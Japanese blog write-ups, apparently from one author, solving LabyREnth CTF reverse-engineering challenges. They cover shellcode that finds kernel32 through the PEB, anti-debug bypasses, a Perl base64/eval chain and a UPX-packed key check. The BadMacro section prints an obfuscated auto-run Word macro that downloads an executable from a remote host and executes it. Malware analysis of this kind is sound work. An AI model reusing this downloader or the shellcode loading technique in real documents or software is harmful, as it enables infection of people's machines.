shellcode
1. はじめに
LabyREnth CTF Windows Track のLv6の問題 (Shellcode) にて. 覚書として.
2. shllcode
Ambrosius.exeを対象に行う.
> cdb Ambrosius.exe
0:000> dt _TEB
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB
(省略)
0:000> dt _PEB -r2
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 SpareBits : Pos 7, 1 Bit
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
+0x024 EntryInProgress : Ptr32 Void
+0x028 ShutdownInProgress : UChar
+0x02c ShutdownThreadId : Ptr32 Void
(省略)
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
(省略)
0:000> r @$t0 = poi(poi(fs:30)+0C)+14
0:000> dt _LDR_DATA_TABLE_ENTRY poi(@$t0)-8
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4e2b60 - 0x776fab4c ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x4e2b68 - 0x776fab54 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x018 DllBase : 0x00400000 Void
+0x01c EntryPoint : 0x004010e7 Void
+0x020 SizeOfImage : 0x2000
+0x024 FullDllName : _UNICODE_STRING "C:\Users\akabane\Desktop\Ambrosius.exe"
+0x02c BaseDllName : _UNICODE_STRING "Ambrosius.exe"
(省略)
0:000> dt _LDR_DATA_TABLE_ENTRY poi(poi(@$t0))-8
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4e3028 - 0x4e2c60 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x4e3030 - 0x4e2c68 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4e3368 - 0x776fab5c ]
+0x018 DllBase : 0x775f0000 Void
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x17b000
+0x024 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\ntdll.dll"
+0x02c BaseDllName : _UNICODE_STRING "ntdll.dll"
(省略)
0:000> dt _LDR_DATA_TABLE_ENTRY poi(poi(poi(@$t0)))-8
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4e3358 - 0x4e2b60 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x4e3360 - 0x4e2b68 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4e3dc8 - 0x4e3368 ]
+0x018 DllBase : 0x74860000 Void
+0x01c EntryPoint : 0x74873980 Void
+0x020 SizeOfImage : 0xe0000
+0x024 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\KERNEL32.DLL"
+0x02c BaseDllName : _UNICODE_STRING "KERNEL32.DLL"
(省略)
これよりDllBaseは0x74860000である.
0:000> lm
start end module name
00400000 00402000 image00400000 (deferred)
71c30000 71cc2000 apphelp (deferred)
74860000 74940000 KERNEL32 (deferred)
(省略)
lmコマンド(List Loaded Modules)で確認すると上記したDllBaseとkernel32.dllのアドレスが一致している.
つまり最初のコードを以下のように解釈される(説明の都合上番号を振る).
(1) mov eax, large fs:30h
(2) mov eax, [eax+0Ch]
(3) mov eax, [eax+14h]
(4) mov eax, [eax]
(5) mov eax, [eax]
(6) mov eax, [eax+10h]
(7) retn
(1) fs:30h -> PEB
(2) PEB -> Ldr
(3) Ldr -> InMemoryOrderModuleList.Flink
(4),(5)InMemoryOrderModuleList.Flink
(6) _LDR_DATA_TABLE_ENTRY -> DllBase
Cで記述すると以下のようになる.
なお最後にDllBaseではなくReserved2[0]を呼び出しているのは, FlinkによりLDR_DATA_TABLE_ENTRYが+0x8だけずれているからである.
これはAPIのハッシュを計算している関数である. 引数としてIMAGE_EXPORT_DIRECTORYのAddressOfNamesをとる.
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
APIハッシュの計算するスクリプトを以下に記す. IDAに読み込ませるために,列挙型を定義している.
IDAにAPIハッシュを読み込ませる
・> python api_hash.py C:\Windows\System32\kernel32.dll > api_hash.h
・FIle -> Load file -> Parse C header file ... -> api_hash.h
・[Enum] -> Define a new enumeration type (Ins) -> Add standard enum by enum name -> ヘッダファイルを選択
・APIのハッシュ値を選択 -> Symbolic constant -> hash_kernel32_***
3. 補足
.cls : clear all of the text from the Debugger Command window
4. 参考
・Harmony Security: Retrieving Kernel32's Base Address
・PEB_LDR_DATA structure (Windows)
・Windowsで電卓を起動するシェルコードを書いてみる - ももいろテクノロジー
・リバースエンジニアリング入門(1):シェルコードから始めるマルウェア解析 (1/2) - @IT
kmdnet
LabyREnth CTF (Windows Lv3)
1. はじめに
2. writeup
・Squirtle (Windows Lv3)
zipを解凍する(Pass : infected)とSquirtleChallenge.exeが出てくる.
基本的にAnti Debugの問題. それぞれをデバッガで消していく or 条件を合わせると解ける. 最終的に以下の様に出力をさせれば良い.
Type the password:
incorrect
You typed: incorrect
Squirtle Happy! You got the password!
Squirtle is getting excited!!!
Congratz Debugger WindowClass Not Found
Squirtle is glad you are watching him now! fs:[30h+2]
Squirtle appreciates you taking the ticks to get to know him.
TickCount: 613f43
Squirtle likes when things go fast!
Ticks passed: 2eecb
Squirtle is dancing!
Congrats! No Debugger Present!
Squirtle is tail whipping because there is no remote debugger!
Yayyy Squirtle is HydroPumping because there are more than 2 CPUs
Congrats! Squirtle is TailWhipping because there is more than 1024 RAM
Squirtle Aqua Jet BLAST! Congrats HV CPU Bit NOT Set
全ての条件を揃えると以下のjpgが作成される.
このjpgの中の2進数をASCIIに変換するとフラグが出てくる.
FLAG : PAN{Th3_$quirtL3_$qu@d_w@z_bLuffiNg}
3. 補足
Squirtleはゼニガメ, Tail whipはしっぽをふる らしい.
以下は問題の中で参考にする様に指示のあるURL
・https://msdn.microsoft.com/en-us/library/windows/desktop/ms633499(v=vs.85).aspx
・http://www.symantec.com/connect/articles/windows-anti-debug-reference
・http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf
・https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx
・https://msdn.microsoft.com/en-us/library/windows/desktop/ms679280(v=vs.85).aspx
・https://www.trustedsec.com/may-2015/bypassing-virtualization-and-sandbox-technologies/
・http://artemonsecurity.com/vmde.pdf
kmdnet
LabyREnth CTF (Unix)
1. はじめに
2. writeup
zipを解凍する(Pass : infected)とbowie.plが出てくる.
(一部抜粋)
my $input = ;
$input = trim($input);
if ($input eq (chr(5156 - 5035) . chr(-4615 - -4716) . chr(3162 - 3047))) {
$a = $a . MIME::Base64::decode("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");
このように入力を受け入れ一致すればbase64でdecodeを行うという処理を繰り返す.
eval MIME::Base64::decode("...省略...");
普通にbase64でdecodeを繰り返す中でevalで実行するスクリプトが紛れている. これをbase64でdecodeを行うとまた同じことが行われる. ここで正規表現を用いてbase64の部分を抽出して, eval毎にファイルに分割するプログラムをsep_eval.py, それらをdecodeして合成するプログラムをsolve_perl.pyとした.
これを実行するとgifが出てくる.
FLAG : PAN{L3ts_533_h0W_U_deal_w_th1s_little_511CE}
kmdnet
LabyREnth CTF (Docs)
1. はじめに
2. writeup
・BadMacro (Docs Lv1)
zipを解凍する(Pass : infected)とchallenge.docが出てくる.
challenge.docからVBAを抽出する.
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function QklkhFEQNB(HGKuttPaRM As Variant, UBvkWqzieX As Integer)
Dim gsFEVmmIzO, vSHOfSrEta As String, dHLdiEqdts, eUTAbMoUIA
vSHOfSrEta = ActiveDocument.Variables("ppKzr").Value()
gsFEVmmIzO = ""
dHLdiEqdts = 1
While dHLdiEqdts < UBound(HGKuttPaRM) + 2
eUTAbMoUIA = dHLdiEqdts Mod Len(vSHOfSrEta): If eUTAbMoUIA = 0 Then eUTAbMoUIA = Len(vSHOfSrEta)
gsFEVmmIzO = gsFEVmmIzO + Chr(Asc(Mid(vSHOfSrEta, eUTAbMoUIA + UBvkWqzieX, 1)) Xor CInt(HGKuttPaRM(dHLdiEqdts - 1)))
dHLdiEqdts = dHLdiEqdts + 1
Wend
QklkhFEQNB = gsFEVmmIzO
End Function
Public Function BkAIuNwQNDkohBY()
twOvwCSTPL = QklkhFEQNB(Array(5, 5, 27, 65, 89, 98, 85, 86, 71, 75, 66, 92, 95, 98, 67, 64, 89, 83, 84, 95, 26, _
78, 116, 78, 91, 5, 116, 32, 72, 2, 33, 48, 10, 29, 61, 8, 37, 20, 63, 44, 1, _
12, 62, 38, 47, 52, 99, 57, 5, 121, 89, 37, 65, 32, 32, 11, 98, 42, 58, 32, 28, _
9, 3, 117, 85, 4, 57, 10, 94, 0, 16, 8, 28, 42, 30, 121, 71, 6, 8, 9, 37, _
2, 23, 34, 21, 120, 54, 7, 40, 35, 75, 50, 87, 3, 55, 47, 99, 52, 13, 0, 42, _
30, 27, 126, 59, 3, 123, 29, 52, 44, 53, 29, 15, 50, 12, 35, 8, 48, 89, 54, 27, _
62, 28, 8, 36, 49, 119, 104, 14, 5, 64, 34, 43, 22, 71, 5, 46, 7, 66, 42, 0, _
1, 113, 97, 83, 31, 45, 95, 111, 31, 40, 51), 24)
UkIWIEtqCF = QklkhFEQNB(Array(42, 115, 2), 188)
Dim xHttp: Set xHttp = CreateObject(QklkhFEQNB(Array(116, 7, 6, 74, 60, 43, 42, 36, 64, 70, 110, 27, 28, 12, 12, 17, 23), 0))
Dim bStrm: Set bStrm = CreateObject(QklkhFEQNB(Array(15, 32, 32, 53, 35, 89, 22, 25, 65, 53, 51, 26), 176))
xHttp.Open UkIWIEtqCF, twOvwCSTPL, False
xHttp.Send
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17), 2
End With
Shell (QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17))
End Function
Private Sub Document_Open()
If ActiveDocument.Variables("ppKzr").Value <> "toto" Then
BkAIuNwQNDkohBY
ActiveDocument.Variables("ppKzr").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub
しかしこのままでは可読性が悪いので変数名等を書き換えて整形する.
これをVBE上で実行する. ただしHTTPリクエストとシェル実行はされたくないのでコメントアウトして, Debug.Printを用いてイミディエイトウインドウに出力した.
http://10.1.33.7/b64/x58/MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=/evil.exe に注目してb64とx58という文字列があるので, base64とXOR 0x58と予想してPythonでデコードするスクリプトを書いた.
FLAG : PAN{ViZib13_0nly2th0s3_Wh0_Kn0w_wh3r32l00k}
・CrackDoc (Docs Lv2)
zipを解凍する(Pass : infected)とCrackDoc.docが出てくる.
UserFormにパスワードを入力すれば良い. 同様にVBAを抽出する.
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{8AF7E01A-2331-4925-95C1-AA63132A39D5}{BF4AE4DE-16B1-4C4B-ABB6-3A501B9C5B0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub button_Click()
x = suchcrypto(key.Text, "General Vidal")
If x = "171,184,42,184,88,26,47,154,20,219,203,130,52,19,180,214,156,94,186,74,30,248,119,235,139,130,175,141,179,197,8,204,252," Then
MsgBox "Wow. Good Job! Such crack."
Else
MsgBox "U can do. Try harder..."
End If
End Sub
Function suchcrypto(sMessage, strKey)
Dim kLen, x, y, i, j, temp
Dim s(256), k(256)
kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
Next
j = 0
For i = 0 To 255
j = (j + k(i) + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next
x = 0
y = 0
For i = 1 To 3072
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp
Next
For i = 1 To Len(sMessage)
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp
suchcrypto = suchcrypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
Next
End Function
FLAG : PAN{L4$t_Night_@f@iry_Vizited_M3}
3. 補足
公式にてwriteupが公開されている. 1week毎に1trackずつ公開される模様.
researchcenter.paloaltonetworks.com
kmdnet
LabyREnth CTF (Windows)
1. はじめに
LabyREnth CTFに参加した. 解いた問題について残しておく.出題された分野はWindows, Unix, Threat, Mobile, Docs, Randomである.
2. writeup
・AntiD (Windows Lv1)
zipを解凍する(Pass : infected)とAntiD.exeが出てくる.
実行してみる.
UPXでパックされていることが判別できるのでOEPまで処理を進める.
ここからアンパックしてもよいが,今回はそのまま処理を進める.
以下が入力されたkeyを比較する関数である.
012511B0 55 PUSH EBP
012511B1 8BEC MOV EBP,ESP
012511B3 83EC 38 SUB ESP,38
012511B6 A1 04302501 MOV EAX,DWORD PTR DS:[1253004]
012511BB 33C5 XOR EAX,EBP
012511BD 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
012511C0 C645 D4 8C MOV BYTE PTR SS:[EBP-2C],8C
012511C4 C645 D5 F1 MOV BYTE PTR SS:[EBP-2B],0F1
012511C8 C645 D6 53 MOV BYTE PTR SS:[EBP-2A],53
012511CC C645 D7 A3 MOV BYTE PTR SS:[EBP-29],0A3
012511D0 C645 D8 08 MOV BYTE PTR SS:[EBP-28],8
012511D4 C645 D9 D7 MOV BYTE PTR SS:[EBP-27],0D7
012511D8 C645 DA DC MOV BYTE PTR SS:[EBP-26],0DC
012511DC C645 DB 48 MOV BYTE PTR SS:[EBP-25],48
012511E0 C645 DC DB MOV BYTE PTR SS:[EBP-24],0DB
012511E4 C645 DD 0C MOV BYTE PTR SS:[EBP-23],0C
012511E8 C645 DE 3A MOV BYTE PTR SS:[EBP-22],3A
012511EC C645 DF EE MOV BYTE PTR SS:[EBP-21],0EE
012511F0 C645 E0 15 MOV BYTE PTR SS:[EBP-20],15
012511F4 C645 E1 22 MOV BYTE PTR SS:[EBP-1F],22
012511F8 C645 E2 C4 MOV BYTE PTR SS:[EBP-1E],0C4
012511FC C645 E3 E5 MOV BYTE PTR SS:[EBP-1D],0E5
01251200 C645 E4 C9 MOV BYTE PTR SS:[EBP-1C],0C9
01251204 C645 E5 A0 MOV BYTE PTR SS:[EBP-1B],0A0
01251208 C645 E6 A5 MOV BYTE PTR SS:[EBP-1A],0A5
0125120C C645 E7 0C MOV BYTE PTR SS:[EBP-19],0C
01251210 C645 E8 D3 MOV BYTE PTR SS:[EBP-18],0D3
01251214 C645 E9 DC MOV BYTE PTR SS:[EBP-17],0DC
01251218 C645 EA 51 MOV BYTE PTR SS:[EBP-16],51
0125121C C645 EB C7 MOV BYTE PTR SS:[EBP-15],0C7
01251220 C645 EC 39 MOV BYTE PTR SS:[EBP-14],39
01251224 C645 ED FD MOV BYTE PTR SS:[EBP-13],0FD
01251228 C645 EE D0 MOV BYTE PTR SS:[EBP-12],0D0
0125122C C645 EF F8 MOV BYTE PTR SS:[EBP-11],0F8
01251230 C645 F0 3B MOV BYTE PTR SS:[EBP-10],3B
01251234 C645 F1 E8 MOV BYTE PTR SS:[EBP-F],0E8
01251238 C645 F2 CC MOV BYTE PTR SS:[EBP-E],0CC
0125123C C645 F3 03 MOV BYTE PTR SS:[EBP-D],3
01251240 C645 F4 06 MOV BYTE PTR SS:[EBP-C],6
01251244 C645 F5 43 MOV BYTE PTR SS:[EBP-B],43
01251248 C645 F6 F7 MOV BYTE PTR SS:[EBP-A],0F7
0125124C C645 F7 DA MOV BYTE PTR SS:[EBP-9],0DA
01251250 C645 F8 7E MOV BYTE PTR SS:[EBP-8],7E
01251254 C645 F9 65 MOV BYTE PTR SS:[EBP-7],65
01251258 C645 FA AE MOV BYTE PTR SS:[EBP-6],0AE
0125125C C645 FB 80 MOV BYTE PTR SS:[EBP-5],80
01251260 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
01251263 50 PUSH EAX
01251264 FF15 D4202501 CALL DWORD PTR DS:[12520D4] ; ucrtbase.strlen
0125126A 83C4 04 ADD ESP,4
0125126D 83F8 10 CMP EAX,10
01251270 0F85 EB000000 JNZ AntiD.01251361
01251276 C745 C8 0000000>MOV DWORD PTR SS:[EBP-38],0
0125127D C745 CC 0000000>MOV DWORD PTR SS:[EBP-34],0
01251284 EB 09 JMP SHORT AntiD.0125128F
01251286 8B4D CC MOV ECX,DWORD PTR SS:[EBP-34]
01251289 83C1 01 ADD ECX,1
0125128C 894D CC MOV DWORD PTR SS:[EBP-34],ECX
0125128F 837D CC 28 CMP DWORD PTR SS:[EBP-34],28
01251293 0F8D C4000000 JGE AntiD.0125135D
01251299 C745 D0 0000000>MOV DWORD PTR SS:[EBP-30],0
012512A0 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8]
012512A3 0355 CC ADD EDX,DWORD PTR SS:[EBP-34]
012512A6 0FBE02 MOVSX EAX,BYTE PTR DS:[EDX]
012512A9 83F0 33 XOR EAX,33
012512AC 25 FF000000 AND EAX,0FF
012512B1 8945 D0 MOV DWORD PTR SS:[EBP-30],EAX
012512B4 E8 77FEFFFF CALL AntiD.01251130
012512B9 0FB6C8 MOVZX ECX,AL
012512BC 85C9 TEST ECX,ECX
012512BE 74 07 JE SHORT AntiD.012512C7
012512C0 32C0 XOR AL,AL
012512C2 E9 9C000000 JMP AntiD.01251363
012512C7 8B55 D0 MOV EDX,DWORD PTR SS:[EBP-30]
012512CA 83C2 44 ADD EDX,44
012512CD 81E2 FF000000 AND EDX,0FF
012512D3 8955 D0 MOV DWORD PTR SS:[EBP-30],EDX
012512D6 E8 85FEFFFF CALL AntiD.01251160
012512DB 0FB6C0 MOVZX EAX,AL
012512DE 85C0 TEST EAX,EAX
012512E0 74 04 JE SHORT AntiD.012512E6
012512E2 32C0 XOR AL,AL
012512E4 EB 7D JMP SHORT AntiD.01251363
012512E6 8B4D D0 MOV ECX,DWORD PTR SS:[EBP-30]
012512E9 83F1 55 XOR ECX,55
012512EC 81E1 FF000000 AND ECX,0FF
012512F2 894D D0 MOV DWORD PTR SS:[EBP-30],ECX
012512F5 E8 96FEFFFF CALL AntiD.01251190
012512FA 0FB6D0 MOVZX EDX,AL
012512FD 85D2 TEST EDX,EDX
012512FF 74 04 JE SHORT AntiD.01251305
01251301 32C0 XOR AL,AL
01251303 EB 5E JMP SHORT AntiD.01251363
01251305 8B45 D0 MOV EAX,DWORD PTR SS:[EBP-30]
01251308 83E8 66 SUB EAX,66
0125130B 25 FF000000 AND EAX,0FF
01251310 8945 D0 MOV DWORD PTR SS:[EBP-30],EAX
01251313 E8 E8FDFFFF CALL AntiD.01251100
01251318 0FB6C8 MOVZX ECX,AL
0125131B 85C9 TEST ECX,ECX
0125131D 74 04 JE SHORT AntiD.01251323
0125131F 32C0 XOR AL,AL
01251321 EB 40 JMP SHORT AntiD.01251363
01251323 8B55 C8 MOV EDX,DWORD PTR SS:[EBP-38]
01251326 81E2 FF000000 AND EDX,0FF
0125132C 3355 D0 XOR EDX,DWORD PTR SS:[EBP-30]
0125132F 81E2 FF000000 AND EDX,0FF
01251335 8955 D0 MOV DWORD PTR SS:[EBP-30],EDX
01251338 8B45 CC MOV EAX,DWORD PTR SS:[EBP-34]
0125133B 0FBE4C05 D4 MOVSX ECX,BYTE PTR SS:[EBP+EAX-2C]
01251340 81E1 FF000000 AND ECX,0FF
01251346 394D D0 CMP DWORD PTR SS:[EBP-30],ECX
01251349 74 04 JE SHORT AntiD.0125134F
0125134B 32C0 XOR AL,AL
0125134D EB 14 JMP SHORT AntiD.01251363
0125134F 8B55 C8 MOV EDX,DWORD PTR SS:[EBP-38]
01251352 0355 D0 ADD EDX,DWORD PTR SS:[EBP-30]
01251355 8955 C8 MOV DWORD PTR SS:[EBP-38],EDX
01251358 ^ E9 29FFFFFF JMP AntiD.01251286
0125135D B0 01 MOV AL,1
0125135F EB 02 JMP SHORT AntiD.01251363
01251361 32C0 XOR AL,AL
01251363 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
01251366 33CD XOR ECX,EBP
01251368 E8 98000000 CALL AntiD.01251405
0125136D 8BE5 MOV ESP,EBP
0125136F 5D POP EBP
01251370 C3 RETN
これより生成されて比較されるkeyは前後の文字列に依存しないことがわかるので,このkeyをデコードするプログラムをPythonで書いた. なおデバッグを行う際にはkeyを比較する中でアンチデバッグを行う関数が4つあるがそれぞれの戻り値を0に変えてやれば良い.
FLAG : PAN{C0nf1agul4ti0ns_0n_4_J08_W3LL_D0N3!}
3. 補足
今回の問題のアセンブリのコードと先ほどのPythonコードに関してはgithub上に上げてある. なおアンチデバッグを行う4つの関数に関してはfunc1~4としており、それぞれ典型的なアンチデバッグの手法が取られている.
kmdnet